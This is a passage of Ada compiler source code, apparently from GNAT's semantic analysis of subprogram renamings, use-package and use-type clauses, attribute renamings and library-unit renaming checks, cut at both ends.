(Rename_Spec)); return; -- Indexed component elsif Nkind (Nam) = N_Indexed_Component then Analyze_Renamed_Family_Member (N, New_S, Present (Rename_Spec)); return; -- Character literal elsif Nkind (Nam) = N_Character_Literal then Analyze_Renamed_Character (N, New_S, Present (Rename_Spec)); return; -- Only remaining case is where we have a non-entity name, or a renaming -- of some other non-overloadable entity. elsif not Is_Entity_Name (Nam) or else not Is_Overloadable (Entity (Nam)) then -- Do not mention the renaming if it comes from an instance if not Is_Actual then Error_Msg_N ("expect valid subprogram name in renaming", N); else Error_Msg_NE ("no visible subprogram for formal&", N, Nam); end if; return; end if; -- Find the renamed entity that matches the given specification. Disable -- Ada_83 because there is no requirement of full conformance between -- renamed entity and new entity, even though the same circuit is used. -- This is a bit of an odd case, which introduces a really irregular use -- of Ada_Version[_Explicit]. Would be nice to find cleaner way to do -- this. ??? Ada_Version := Ada_Version_Type'Max (Ada_Version, Ada_95); Ada_Version_Pragma := Empty; Ada_Version_Explicit := Ada_Version; if No (Old_S) then Old_S := Find_Renamed_Entity (N, Name (N), New_S, Is_Actual); -- The visible operation may be an inherited abstract operation that -- was overridden in the private part, in which case a call will -- dispatch to the overriding operation. Use the overriding one in -- the renaming declaration, to prevent spurious errors below. if Is_Overloadable (Old_S) and then Is_Abstract_Subprogram (Old_S) and then No (DTC_Entity (Old_S)) and then Present (Alias (Old_S)) and then not Is_Abstract_Subprogram (Alias (Old_S)) and then Present (Overridden_Operation (Alias (Old_S))) then Old_S := Alias (Old_S); end if; -- When the renamed subprogram is overloaded and used as an actual -- of a generic, its entity is set to the first available homonym. -- We must first disambiguate the name, then set the proper entity. if Is_Actual and then Is_Overloaded (Nam) then Set_Entity (Nam, Old_S); end if; end if; -- Most common case: subprogram renames subprogram. No body is generated -- in this case, so we must indicate the declaration is complete as is. -- and inherit various attributes of the renamed subprogram. if No (Rename_Spec) then Set_Has_Completion (New_S); Set_Is_Imported (New_S, Is_Imported (Entity (Nam))); Set_Is_Pure (New_S, Is_Pure (Entity (Nam))); Set_Is_Preelaborated (New_S, Is_Preelaborated (Entity (Nam))); -- Ada 2005 (AI-423): Check the consistency of null exclusions -- between a subprogram and its correct renaming. -- Note: the Any_Id check is a guard that prevents compiler crashes -- when performing a null exclusion check between a renaming and a -- renamed subprogram that has been found to be illegal. if Ada_Version >= Ada_2005 and then Entity (Nam) /= Any_Id then Check_Null_Exclusion (Ren => New_S, Sub => Entity (Nam)); end if; -- Enforce the Ada 2005 rule that the renamed entity cannot require -- overriding. The flag Requires_Overriding is set very selectively -- and misses some other illegal cases. The additional conditions -- checked below are sufficient but not necessary ??? -- The rule does not apply to the renaming generated for an actual -- subprogram in an instance. if Is_Actual then null; -- Guard against previous errors, and omit renamings of predefined -- operators. elsif not Ekind_In (Old_S, E_Function, E_Procedure) then null; elsif Requires_Overriding (Old_S) or else (Is_Abstract_Subprogram (Old_S) and then Present (Find_Dispatching_Type (Old_S)) and then not Is_Abstract_Type (Find_Dispatching_Type (Old_S))) then Error_Msg_N ("renamed entity cannot be subprogram that requires overriding " & "(RM 8.5.4 (5.1))", N); end if; end if; if Old_S /= Any_Id then if Is_Actual and then From_Default (N) then -- This is an implicit reference to the default actual Generate_Reference (Old_S, Nam, Typ => 'i', Force => True); else Generate_Reference (Old_S, Nam); end if; Check_Internal_Protected_Use (N, Old_S); -- For a renaming-as-body, require subtype conformance, but if the -- declaration being completed has not been frozen, then inherit the -- convention of the renamed subprogram prior to checking conformance -- (unless the renaming has an explicit convention established; the -- rule stated in the RM doesn't seem to address this ???). if Present (Rename_Spec) then Generate_Reference (Rename_Spec, Defining_Entity (Spec), 'b'); Style.Check_Identifier (Defining_Entity (Spec), Rename_Spec); if not Is_Frozen (Rename_Spec) then if not Has_Convention_Pragma (Rename_Spec) then Set_Convention (New_S, Convention (Old_S)); end if; if Ekind (Old_S) /= E_Operator then Check_Mode_Conformant (New_S, Old_S, Spec); end if; if Original_Subprogram (Old_S) = Rename_Spec then Error_Msg_N ("unfrozen subprogram cannot rename itself ", N); end if; else Check_Subtype_Conformant (New_S, Old_S, Spec); end if; Check_Frozen_Renaming (N, Rename_Spec); -- Check explicitly that renamed entity is not intrinsic, because -- in a generic the renamed body is not built. In this case, -- the renaming_as_body is a completion. if Inside_A_Generic then if Is_Frozen (Rename_Spec) and then Is_Intrinsic_Subprogram (Old_S) then Error_Msg_N ("subprogram in renaming_as_body cannot be intrinsic", Name (N)); end if; Set_Has_Completion (Rename_Spec); end if; elsif Ekind (Old_S) /= E_Operator then -- If this a defaulted subprogram for a class-wide actual there is -- no check for mode conformance, given that the signatures don't -- match (the source mentions T but the actual mentions T'Class). if CW_Actual then null; elsif not Is_Actual or else No (Enclosing_Instance) then Check_Mode_Conformant (New_S, Old_S); end if; if Is_Actual and then Error_Posted (New_S) then Error_Msg_NE ("invalid actual subprogram: & #!", N, Old_S); end if; end if; if No (Rename_Spec) then -- The parameter profile of the new entity is that of the renamed -- entity: the subtypes given in the specification are irrelevant. Inherit_Renamed_Profile (New_S, Old_S); -- A call to the subprogram is transformed into a call to the -- renamed entity. This is transitive if the renamed entity is -- itself a renaming. if Present (Alias (Old_S)) then Set_Alias (New_S, Alias (Old_S)); else Set_Alias (New_S, Old_S); end if; -- Note that we do not set Is_Intrinsic_Subprogram if we have a -- renaming as body, since the entity in this case is not an -- intrinsic (it calls an intrinsic, but we have a real body for -- this call, and it is in this body that the required intrinsic -- processing will take place). -- Also, if this is a renaming of inequality, the renamed operator -- is intrinsic, but what matters is the corresponding equality -- operator, which may be user-defined. Set_Is_Intrinsic_Subprogram (New_S, Is_Intrinsic_Subprogram (Old_S) and then (Chars (Old_S) /= Name_Op_Ne or else Ekind (Old_S) = E_Operator or else Is_Intrinsic_Subprogram (Corresponding_Equality (Old_S)))); if Ekind (Alias (New_S)) = E_Operator then Set_Has_Delayed_Freeze (New_S, False); end if; -- If the renaming corresponds to an association for an abstract -- formal subprogram, then various attributes must be set to -- indicate that the renaming is an abstract dispatching operation -- with a controlling type. if Is_Actual and then Is_Abstract_Subprogram (Formal_Spec) then -- Mark the renaming as abstract here, so Find_Dispatching_Type -- see it as corresponding to a generic association for a -- formal abstract subprogram Set_Is_Abstract_Subprogram (New_S); declare New_S_Ctrl_Type : constant Entity_Id := Find_Dispatching_Type (New_S); Old_S_Ctrl_Type : constant Entity_Id := Find_Dispatching_Type (Old_S); begin -- The actual must match the (instance of the) formal, -- and must be a controlling type. if Old_S_Ctrl_Type /= New_S_Ctrl_Type or else No (New_S_Ctrl_Type) then Error_Msg_NE ("actual must be dispatching subprogram for type&", Nam, New_S_Ctrl_Type); else Set_Is_Dispatching_Operation (New_S); Check_Controlling_Formals (New_S_Ctrl_Type, New_S); -- If the actual in the formal subprogram is itself a -- formal abstract subprogram association, there's no -- dispatch table component or position to inherit. if Present (DTC_Entity (Old_S)) then Set_DTC_Entity (New_S, DTC_Entity (Old_S)); Set_DT_Position_Value (New_S, DT_Position (Old_S)); end if; end if; end; end if; end if; if Is_Actual then null; -- The following is illegal, because F hides whatever other F may -- be around: -- function F (...) renames F; elsif Old_S = New_S or else (Nkind (Nam) /= N_Expanded_Name and then Chars (Old_S) = Chars (New_S)) then Error_Msg_N ("subprogram cannot rename itself", N); -- This is illegal even if we use a selector: -- function F (...) renames Pkg.F; -- because F is still hidden. elsif Nkind (Nam) = N_Expanded_Name and then Entity (Prefix (Nam)) = Current_Scope and then Chars (Selector_Name (Nam)) = Chars (New_S) then -- This is an error, but we overlook the error and accept the -- renaming if the special Overriding_Renamings mode is in effect. if not Overriding_Renamings then Error_Msg_NE ("implicit operation& is not visible (RM 8.3 (15))", Nam, Old_S); end if; end if; Set_Convention (New_S, Convention (Old_S)); if Is_Abstract_Subprogram (Old_S) then if Present (Rename_Spec) then Error_Msg_N ("a renaming-as-body cannot rename an abstract subprogram", N); Set_Has_Completion (Rename_Spec); else Set_Is_Abstract_Subprogram (New_S); end if; end if; Check_Library_Unit_Renaming (N, Old_S); -- Pathological case: procedure renames entry in the scope of its -- task. Entry is given by simple name, but body must be built for -- procedure. Of course if called it will deadlock. if Ekind (Old_S) = E_Entry then Set_Has_Completion (New_S, False); Set_Alias (New_S, Empty); end if; -- Do not freeze the renaming nor the renamed entity when the context -- is an enclosing generic. Freezing is an expansion activity, and in -- addition the renamed entity may depend on the generic formals of -- the enclosing generic. if Is_Actual and not Inside_A_Generic then Freeze_Before (N, Old_S); Freeze_Actual_Profile; Set_Has_Delayed_Freeze (New_S, False); Freeze_Before (N, New_S); -- An abstract subprogram is only allowed as an actual in the case -- where the formal subprogram is also abstract. if (Ekind (Old_S) = E_Procedure or else Ekind (Old_S) = E_Function) and then Is_Abstract_Subprogram (Old_S) and then not Is_Abstract_Subprogram (Formal_Spec) then Error_Msg_N ("abstract subprogram not allowed as generic actual", Nam); end if; end if; else -- A common error is to assume that implicit operators for types are -- defined in Standard, or in the scope of a subtype. In those cases -- where the renamed entity is given with an expanded name, it is -- worth mentioning that operators for the type are not declared in -- the scope given by the prefix. if Nkind (Nam) = N_Expanded_Name and then Nkind (Selector_Name (Nam)) = N_Operator_Symbol and then Scope (Entity (Nam)) = Standard_Standard then declare T : constant Entity_Id := Base_Type (Etype (First_Formal (New_S))); begin Error_Msg_Node_2 := Prefix (Nam); Error_Msg_NE ("operator for type& is not declared in&", Prefix (Nam), T); end; else Error_Msg_NE ("no visible subprogram matches the specification for&", Spec, New_S); end if; if Present (Candidate_Renaming) then declare F1 : Entity_Id; F2 : Entity_Id; T1 : Entity_Id; begin F1 := First_Formal (Candidate_Renaming); F2 := First_Formal (New_S); T1 := First_Subtype (Etype (F1)); while Present (F1) and then Present (F2) loop Next_Formal (F1); Next_Formal (F2); end loop; if Present (F1) and then Present (Default_Value (F1)) then if Present (Next_Formal (F1)) then Error_Msg_NE ("\missing specification for & and other formals with " & "defaults", Spec, F1); else Error_Msg_NE ("\missing specification for &", Spec, F1); end if; end if; if Nkind (Nam) = N_Operator_Symbol and then From_Default (N) then Error_Msg_Node_2 := T1; Error_Msg_NE ("default & on & is not directly visible", Nam, Nam); end if; end; end if; end if; -- Ada 2005 AI 404: if the new subprogram is dispatching, verify that -- controlling access parameters are known non-null for the renamed -- subprogram. Test also applies to a subprogram instantiation that -- is dispatching. Test is skipped if some previous error was detected -- that set Old_S to Any_Id. if Ada_Version >= Ada_2005 and then Old_S /= Any_Id and then not Is_Dispatching_Operation (Old_S) and then Is_Dispatching_Operation (New_S) then declare Old_F : Entity_Id; New_F : Entity_Id; begin Old_F := First_Formal (Old_S); New_F := First_Formal (New_S); while Present (Old_F) loop if Ekind (Etype (Old_F)) = E_Anonymous_Access_Type and then Is_Controlling_Formal (New_F) and then not Can_Never_Be_Null (Old_F) then Error_Msg_N ("access parameter is controlling,", New_F); Error_Msg_NE ("\corresponding parameter of& must be explicitly null " & "excluding", New_F, Old_S); end if; Next_Formal (Old_F); Next_Formal (New_F); end loop; end; end if; -- A useful warning, suggested by Ada Bug Finder (Ada-Europe 2005) -- is to warn if an operator is being renamed as a different operator. -- If the operator is predefined, examine the kind of the entity, not -- the abbreviated declaration in Standard. if Comes_From_Source (N) and then Present (Old_S) and then (Nkind (Old_S) = N_Defining_Operator_Symbol or else Ekind (Old_S) = E_Operator) and then Nkind (New_S) = N_Defining_Operator_Symbol and then Chars (Old_S) /= Chars (New_S) then Error_Msg_NE ("& is being renamed as a different operator??", N, Old_S); end if; -- Check for renaming of obsolescent subprogram Check_Obsolescent_2005_Entity (Entity (Nam), Nam); -- Another warning or some utility: if the new subprogram as the same -- name as the old one, the old one is not hidden by an outer homograph, -- the new one is not a public symbol, and the old one is otherwise -- directly visible, the renaming is superfluous. if Chars (Old_S) = Chars (New_S) and then Comes_From_Source (N) and then Scope (Old_S) /= Standard_Standard and then Warn_On_Redundant_Constructs and then (Is_Immediately_Visible (Old_S) or else Is_Potentially_Use_Visible (Old_S)) and then Is_Overloadable (Current_Scope) and then Chars (Current_Scope) /= Chars (Old_S) then Error_Msg_N ("redundant renaming, entity is directly visible?r?", Name (N)); end if; -- Implementation-defined aspect specifications can appear in a renaming -- declaration, but not language-defined ones. The call to procedure -- Analyze_Aspect_Specifications will take care of this error check. if Has_Aspects (N) then Analyze_Aspect_Specifications (N, New_S); end if; Ada_Version := Save_AV; Ada_Version_Pragma := Save_AVP; Ada_Version_Explicit := Save_AV_Exp; -- In GNATprove mode, the renamings of actual subprograms are replaced -- with wrapper functions that make it easier to propagate axioms to the -- points of call within an instance. Wrappers are generated if formal -- subprogram is subject to axiomatization. -- The types in the wrapper profiles are obtained from (instances of) -- the types of the formal subprogram. if Is_Actual and then GNATprove_Mode and then Present (Containing_Package_With_Ext_Axioms (Formal_Spec)) and then not Inside_A_Generic then if Ekind (Old_S) = E_Function then Rewrite (N, Build_Function_Wrapper (Formal_Spec, Old_S)); Analyze (N); elsif Ekind (Old_S) = E_Operator then Rewrite (N, Build_Operator_Wrapper (Formal_Spec, Old_S)); Analyze (N); end if; end if; end Analyze_Subprogram_Renaming; ------------------------- -- Analyze_Use_Package -- ------------------------- -- Resolve the package names in the use clause, and make all the visible -- entities defined in the package potentially use-visible. If the package -- is already in use from a previous use clause, its visible entities are -- already use-visible. In that case, mark the occurrence as a redundant -- use. If the package is an open scope, i.e. if the use clause occurs -- within the package itself, ignore it. procedure Analyze_Use_Package (N : Node_Id) is Ghost_Id : Entity_Id := Empty; Living_Id : Entity_Id := Empty; Pack : Entity_Id; Pack_Name : Node_Id; begin Check_SPARK_05_Restriction ("use clause is not allowed", N); Set_Hidden_By_Use_Clause (N, No_Elist); -- Use clause not allowed in a spec of a predefined package declaration -- except that packages whose file name starts a-n are OK (these are -- children of Ada.Numerics, which are never loaded by Rtsfind). if Is_Predefined_File_Name (Unit_File_Name (Current_Sem_Unit)) and then Name_Buffer (1 .. 3) /= "a-n" and then Nkind (Unit (Cunit (Current_Sem_Unit))) = N_Package_Declaration then Error_Msg_N ("use clause not allowed in predefined spec", N); end if; -- Chain clause to list of use clauses in current scope if Nkind (Parent (N)) /= N_Compilation_Unit then Chain_Use_Clause (N); end if; -- Loop through package names to identify referenced packages Pack_Name := First (Names (N)); while Present (Pack_Name) loop Analyze (Pack_Name); if Nkind (Parent (N)) = N_Compilation_Unit and then Nkind (Pack_Name) = N_Expanded_Name then declare Pref : Node_Id; begin Pref := Prefix (Pack_Name); while Nkind (Pref) = N_Expanded_Name loop Pref := Prefix (Pref); end loop; if Entity (Pref) = Standard_Standard then Error_Msg_N ("predefined package Standard cannot appear in a context " & "clause", Pref); end if; end; end if; Next (Pack_Name); end loop; -- Loop through package names to mark all entities as potentially use -- visible. Pack_Name := First (Names (N)); while Present (Pack_Name) loop if Is_Entity_Name (Pack_Name) then Pack := Entity (Pack_Name); if Ekind (Pack) /= E_Package and then Etype (Pack) /= Any_Type then if Ekind (Pack) = E_Generic_Package then Error_Msg_N -- CODEFIX ("a generic package is not allowed in a use clause", Pack_Name); elsif Ekind_In (Pack, E_Generic_Function, E_Generic_Package) then Error_Msg_N -- CODEFIX ("a generic subprogram is not allowed in a use clause", Pack_Name); elsif Ekind_In (Pack, E_Function, E_Procedure, E_Operator) then Error_Msg_N -- CODEFIX ("a subprogram is not allowed in a use clause", Pack_Name); else Error_Msg_N ("& is not allowed in a use clause", Pack_Name); end if; else if Nkind (Parent (N)) = N_Compilation_Unit then Check_In_Previous_With_Clause (N, Pack_Name); end if; if Applicable_Use (Pack_Name) then Use_One_Package (Pack, N); end if; -- Capture the first Ghost package and the first living package if Is_Entity_Name (Pack_Name) then Pack := Entity (Pack_Name); if Is_Ghost_Entity (Pack) then if No (Ghost_Id) then Ghost_Id := Pack; end if; elsif No (Living_Id) then Living_Id := Pack; end if; end if; end if; -- Report error because name denotes something other than a package else Error_Msg_N ("& is not a package", Pack_Name); end if; Next (Pack_Name); end loop; -- Detect a mixture of Ghost packages and living packages within the -- same use package clause. Ideally one would split a use package clause -- with multiple names into multiple use package clauses with a single -- name, however clients of the front end would have to adapt to this -- change. if Present (Ghost_Id) and then Present (Living_Id) then Error_Msg_N ("use clause cannot mention ghost and non-ghost ghost units", N); Error_Msg_Sloc := Sloc (Ghost_Id); Error_Msg_NE ("\& # declared as ghost", N, Ghost_Id); Error_Msg_Sloc := Sloc (Living_Id); Error_Msg_NE ("\& # declared as non-ghost", N, Living_Id); end if; Mark_Ghost_Clause (N); end Analyze_Use_Package; ---------------------- -- Analyze_Use_Type -- ---------------------- procedure Analyze_Use_Type (N : Node_Id) is E : Entity_Id; Ghost_Id : Entity_Id := Empty; Id : Node_Id; Living_Id : Entity_Id := Empty; begin Set_Hidden_By_Use_Clause (N, No_Elist); -- Chain clause to list of use clauses in current scope if Nkind (Parent (N)) /= N_Compilation_Unit then Chain_Use_Clause (N); end if; -- If the Used_Operations list is already initialized, the clause has -- been analyzed previously, and it is begin reinstalled, for example -- when the clause appears in a package spec and we are compiling the -- corresponding package body. In that case, make the entities on the -- existing list use_visible, and mark the corresponding types In_Use. if Present (Used_Operations (N)) then declare Mark : Node_Id; Elmt : Elmt_Id; begin Mark := First (Subtype_Marks (N)); while Present (Mark) loop Use_One_Type (Mark, Installed => True); Next (Mark); end loop; Elmt := First_Elmt (Used_Operations (N)); while Present (Elmt) loop Set_Is_Potentially_Use_Visible (Node (Elmt)); Next_Elmt (Elmt); end loop; end; return; end if; -- Otherwise, create new list and attach to it the operations that -- are made use-visible by the clause. Set_Used_Operations (N, New_Elmt_List); Id := First (Subtype_Marks (N)); while Present (Id) loop Find_Type (Id); E := Entity (Id); if E /= Any_Type then Use_One_Type (Id); if Nkind (Parent (N)) = N_Compilation_Unit then if Nkind (Id) = N_Identifier then Error_Msg_N ("type is not directly visible", Id); elsif Is_Child_Unit (Scope (E)) and then Scope (E) /= System_Aux_Id then Check_In_Previous_With_Clause (N, Prefix (Id)); end if; end if; else -- If the use_type_clause appears in a compilation unit context, -- check whether it comes from a unit that may appear in a -- limited_with_clause, for a better error message. if Nkind (Parent (N)) = N_Compilation_Unit and then Nkind (Id) /= N_Identifier then declare Item : Node_Id; Pref : Node_Id; function Mentioned (Nam : Node_Id) return Boolean; -- Check whether the prefix of expanded name for the type -- appears in the prefix of some limited_with_clause. --------------- -- Mentioned -- --------------- function Mentioned (Nam : Node_Id) return Boolean is begin return Nkind (Name (Item)) = N_Selected_Component and then Chars (Prefix (Name (Item))) = Chars (Nam); end Mentioned; begin Pref := Prefix (Id); Item := First (Context_Items (Parent (N))); while Present (Item) and then Item /= N loop if Nkind (Item) = N_With_Clause and then Limited_Present (Item) and then Mentioned (Pref) then Change_Error_Text (Get_Msg_Id, "premature usage of incomplete type"); end if; Next (Item); end loop; end; end if; end if; -- Capture the first Ghost type and the first living type if Is_Ghost_Entity (E) then if No (Ghost_Id) then Ghost_Id := E; end if; elsif No (Living_Id) then Living_Id := E; end if; Next (Id); end loop; -- Detect a mixture of Ghost types and living types within the same use -- type clause. Ideally one would split a use type clause with multiple -- marks into multiple use type clauses with a single mark, however -- clients of the front end will have to adapt to this change. if Present (Ghost_Id) and then Present (Living_Id) then Error_Msg_N ("use clause cannot mention ghost and non-ghost ghost types", N); Error_Msg_Sloc := Sloc (Ghost_Id); Error_Msg_NE ("\& # declared as ghost", N, Ghost_Id); Error_Msg_Sloc := Sloc (Living_Id); Error_Msg_NE ("\& # declared as non-ghost", N, Living_Id); end if; Mark_Ghost_Clause (N); end Analyze_Use_Type; -------------------- -- Applicable_Use -- -------------------- function Applicable_Use (Pack_Name : Node_Id) return Boolean is Pack : constant Entity_Id := Entity (Pack_Name); begin if In_Open_Scopes (Pack) then if Warn_On_Redundant_Constructs and then Pack = Current_Scope then Error_Msg_NE -- CODEFIX ("& is already use-visible within itself?r?", Pack_Name, Pack); end if; return False; elsif In_Use (Pack) then Note_Redundant_Use (Pack_Name); return False; elsif Present (Renamed_Object (Pack)) and then In_Use (Renamed_Object (Pack)) then Note_Redundant_Use (Pack_Name); return False; else return True; end if; end Applicable_Use; ------------------------ -- Attribute_Renaming -- ------------------------ procedure Attribute_Renaming (N : Node_Id) is Loc : constant Source_Ptr := Sloc (N); Nam : constant Node_Id := Name (N); Spec : constant Node_Id := Specification (N); New_S : constant Entity_Id := Defining_Unit_Name (Spec); Aname : constant Name_Id := Attribute_Name (Nam); Form_Num : Nat := 0; Expr_List : List_Id := No_List; Attr_Node : Node_Id; Body_Node : Node_Id; Param_Spec : Node_Id; begin Generate_Definition (New_S); -- This procedure is called in the context of subprogram renaming, and -- thus the attribute must be one that is a subprogram. All of those -- have at least one formal parameter, with the exceptions of the GNAT -- attribute 'Img, which GNAT treats as renameable. if not Is_Non_Empty_List (Parameter_Specifications (Spec)) then if Aname /= Name_Img then Error_Msg_N ("subprogram renaming an attribute must have formals", N); return; end if; else Param_Spec := First (Parameter_Specifications (Spec)); while Present (Param_Spec) loop Form_Num := Form_Num + 1; if Nkind (Parameter_Type (Param_Spec)) /= N_Access_Definition then Find_Type (Parameter_Type (Param_Spec)); -- The profile of the new entity denotes the base type (s) of -- the types given in the specification. For access parameters -- there are no subtypes involved. Rewrite (Parameter_Type (Param_Spec), New_Occurrence_Of (Base_Type (Entity (Parameter_Type (Param_Spec))), Loc)); end if; if No (Expr_List) then Expr_List := New_List; end if; Append_To (Expr_List, Make_Identifier (Loc, Chars => Chars (Defining_Identifier (Param_Spec)))); -- The expressions in the attribute reference are not freeze -- points. Neither is the attribute as a whole, see below. Set_Must_Not_Freeze (Last (Expr_List)); Next (Param_Spec); end loop; end if; -- Immediate error if too many formals. Other mismatches in number or -- types of parameters are detected when we analyze the body of the -- subprogram that we construct. if Form_Num > 2 then Error_Msg_N ("too many formals for attribute", N); -- Error if the attribute reference has expressions that look like -- formal parameters. elsif Present (Expressions (Nam)) then Error_Msg_N ("illegal expressions in attribute reference", Nam); elsif Nam_In (Aname, Name_Compose, Name_Exponent, Name_Leading_Part, Name_Pos, Name_Round, Name_Scaling, Name_Val) then if Nkind (N) = N_Subprogram_Renaming_Declaration and then Present (Corresponding_Formal_Spec (N)) then Error_Msg_N ("generic actual cannot be attribute involving universal type", Nam); else Error_Msg_N ("attribute involving a universal type cannot be renamed", Nam); end if; end if; -- Rewrite attribute node to have a list of expressions corresponding to -- the subprogram formals. A renaming declaration is not a freeze point, -- and the analysis of the attribute reference should not freeze the -- type of the prefix. We use the original node in the renaming so that -- its source location is preserved, and checks on stream attributes are -- properly applied. Attr_Node := Relocate_Node (Nam); Set_Expressions (Attr_Node, Expr_List); Set_Must_Not_Freeze (Attr_Node); Set_Must_Not_Freeze (Prefix (Nam)); -- Case of renaming a function if Nkind (Spec) = N_Function_Specification then if Is_Procedure_Attribute_Name (Aname) then Error_Msg_N ("attribute can only be renamed as procedure", Nam); return; end if; Find_Type (Result_Definition (Spec)); Rewrite (Result_Definition (Spec), New_Occurrence_Of (Base_Type (Entity (Result_Definition (Spec))), Loc)); Body_Node := Make_Subprogram_Body (Loc, Specification => Spec, Declarations => New_List, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => New_List ( Make_Simple_Return_Statement (Loc, Expression => Attr_Node)))); -- Case of renaming a procedure else if not Is_Procedure_Attribute_Name (Aname) then Error_Msg_N ("attribute can only be renamed as function", Nam); return; end if; Body_Node := Make_Subprogram_Body (Loc, Specification => Spec, Declarations => New_List, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => New_List (Attr_Node))); end if; -- In case of tagged types we add the body of the generated function to -- the freezing actions of the type (because in the general case such -- type is still not frozen). We exclude from this processing generic -- formal subprograms found in instantiations. -- We must exclude restricted run-time libraries because -- entity AST_Handler is defined in package System.Aux_Dec which is not -- available in those platforms. Note that we cannot use the function -- Restricted_Profile (instead of Configurable_Run_Time_Mode) because -- the ZFP run-time library is not defined as a profile, and we do not -- want to deal with AST_Handler in ZFP mode. if not Configurable_Run_Time_Mode and then not Present (Corresponding_Formal_Spec (N)) and then Etype (Nam) /= RTE (RE_AST_Handler) then declare P : constant Node_Id := Prefix (Nam); begin -- The prefix of 'Img is an object that is evaluated for each call -- of the function that renames it. if Aname = Name_Img then Preanalyze_And_Resolve (P); -- For all other attribute renamings, the prefix is a subtype else Find_Type (P); end if; -- If the target type is not yet frozen, add the body to the -- actions to be elaborated at freeze time. if Is_Tagged_Type (Etype (P)) and then In_Open_Scopes (Scope (Etype (P))) then Ensure_Freeze_Node (Etype (P)); Append_Freeze_Action (Etype (P), Body_Node); else Rewrite (N, Body_Node); Analyze (N); Set_Etype (New_S, Base_Type (Etype (New_S))); end if; end; -- Generic formal subprograms or AST_Handler renaming else Rewrite (N, Body_Node); Analyze (N); Set_Etype (New_S, Base_Type (Etype (New_S))); end if; if Is_Compilation_Unit (New_S) then Error_Msg_N ("a library unit can only rename another library unit", N); end if; -- We suppress elaboration warnings for the resulting entity, since -- clearly they are not needed, and more particularly, in the case -- of a generic formal subprogram, the resulting entity can appear -- after the instantiation itself, and thus look like a bogus case -- of access before elaboration. Set_Suppress_Elaboration_Warnings (New_S); end Attribute_Renaming; ---------------------- -- Chain_Use_Clause -- ---------------------- procedure Chain_Use_Clause (N : Node_Id) is Pack : Entity_Id; Level : Int := Scope_Stack.Last; begin if not Is_Compilation_Unit (Current_Scope) or else not Is_Child_Unit (Current_Scope) then null; -- Common case elsif Defining_Entity (Parent (N)) = Current_Scope then null; -- Common case for compilation unit else -- If declaration appears in some other scope, it must be in some -- parent unit when compiling a child. Pack := Defining_Entity (Parent (N)); if not In_Open_Scopes (Pack) then null; -- default as well -- If the use clause appears in an ancestor and we are in the -- private part of the immediate parent, the use clauses are -- already installed. elsif Pack /= Scope (Current_Scope) and then In_Private_Part (Scope (Current_Scope)) then null; else -- Find entry for parent unit in scope stack while Scope_Stack.Table (Level).Entity /= Pack loop Level := Level - 1; end loop; end if; end if; Set_Next_Use_Clause (N, Scope_Stack.Table (Level).First_Use_Clause); Scope_Stack.Table (Level).First_Use_Clause := N; end Chain_Use_Clause; --------------------------- -- Check_Frozen_Renaming -- --------------------------- procedure Check_Frozen_Renaming (N : Node_Id; Subp : Entity_Id) is B_Node : Node_Id; Old_S : Entity_Id; begin if Is_Frozen (Subp) and then not Has_Completion (Subp) then B_Node := Build_Renamed_Body (Parent (Declaration_Node (Subp)), Defining_Entity (N)); if Is_Entity_Name (Name (N)) then Old_S := Entity (Name (N)); if not Is_Frozen (Old_S) and then Operating_Mode /= Check_Semantics then Append_Freeze_Action (Old_S, B_Node); else Insert_After (N, B_Node); Analyze (B_Node); end if; if Is_Intrinsic_Subprogram (Old_S) and then not In_Instance then Error_Msg_N ("subprogram used in renaming_as_body cannot be intrinsic", Name (N)); end if; else Insert_After (N, B_Node); Analyze (B_Node); end if; end if; end Check_Frozen_Renaming; ------------------------------- -- Set_Entity_Or_Discriminal -- ------------------------------- procedure Set_Entity_Or_Discriminal (N : Node_Id; E : Entity_Id) is P : Node_Id; begin -- If the entity is not a discriminant, or else expansion is disabled, -- simply set the entity. if not In_Spec_Expression or else Ekind (E) /= E_Discriminant or else Inside_A_Generic then Set_Entity_With_Checks (N, E); -- The replacement of a discriminant by the corresponding discriminal -- is not done for a task discriminant that appears in a default -- expression of an entry parameter. See Exp_Ch2.Expand_Discriminant -- for details on their handling. elsif Is_Concurrent_Type (Scope (E)) then P := Parent (N); while Present (P) and then not Nkind_In (P, N_Parameter_Specification, N_Component_Declaration) loop P := Parent (P); end loop; if Present (P) and then Nkind (P) = N_Parameter_Specification then null; else Set_Entity (N, Discriminal (E)); end if; -- Otherwise, this is a discriminant in a context in which -- it is a reference to the corresponding parameter of the -- init proc for the enclosing type. else Set_Entity (N, Discriminal (E)); end if; end Set_Entity_Or_Discriminal; ----------------------------------- -- Check_In_Previous_With_Clause -- ----------------------------------- procedure Check_In_Previous_With_Clause (N : Node_Id; Nam : Entity_Id) is Pack : constant Entity_Id := Entity (Original_Node (Nam)); Item : Node_Id; Par : Node_Id; begin Item := First (Context_Items (Parent (N))); while Present (Item) and then Item /= N loop if Nkind (Item) = N_With_Clause -- Protect the frontend against previous critical errors and then Nkind (Name (Item)) /= N_Selected_Component and then Entity (Name (Item)) = Pack then Par := Nam; -- Find root library unit in with_clause while Nkind (Par) = N_Expanded_Name loop Par := Prefix (Par); end loop; if Is_Child_Unit (Entity (Original_Node (Par))) then Error_Msg_NE ("& is not directly visible", Par, Entity (Par)); else return; end if; end if; Next (Item); end loop; -- On exit, package is not mentioned in a previous with_clause. -- Check if its prefix is. if Nkind (Nam) = N_Expanded_Name then Check_In_Previous_With_Clause (N, Prefix (Nam)); elsif Pack /= Any_Id then Error_Msg_NE ("& is not visible", Nam, Pack); end if; end Check_In_Previous_With_Clause; --------------------------------- -- Check_Library_Unit_Renaming -- --------------------------------- procedure Check_Library_Unit_Renaming (N : Node_Id; Old_E : Entity_Id) is New_E : Entity_Id; begin if Nkind (Parent (N)) /= N_Compilation_Unit then return; -- Check for library unit. Note that we used to check for the scope -- being Standard here, but that was wrong for Standard itself. elsif not Is_Compilation_Unit (Old_E) and then not Is_Child_Unit (Old_E) then Error_Msg_N ("renamed unit must be a library unit", Name (N)); -- Entities defined in Standard (operators and boolean literals) cannot -- be renamed as library units. elsif Scope (Old_E) = Standard_Standard and then Sloc (Old_E) = Standard_Location then Error_Msg_N ("renamed unit must be a library unit", Name (N)); elsif Present (Parent_Spec (N)) and then Nkind (Unit (Parent_Spec (N))) = N_Generic_Package_Declaration and then not Is_Child_Unit (Old_E) then Error_Msg_N ("renamed unit must be a child unit of generic parent", Name (N)); elsif Nkind (N) in N_Generic_Renaming_Declaration and then Nkind (Name (N)) = N_Expanded_Name and then Is_Generic_Instance (Entity (Prefix (Name (N)))) and then 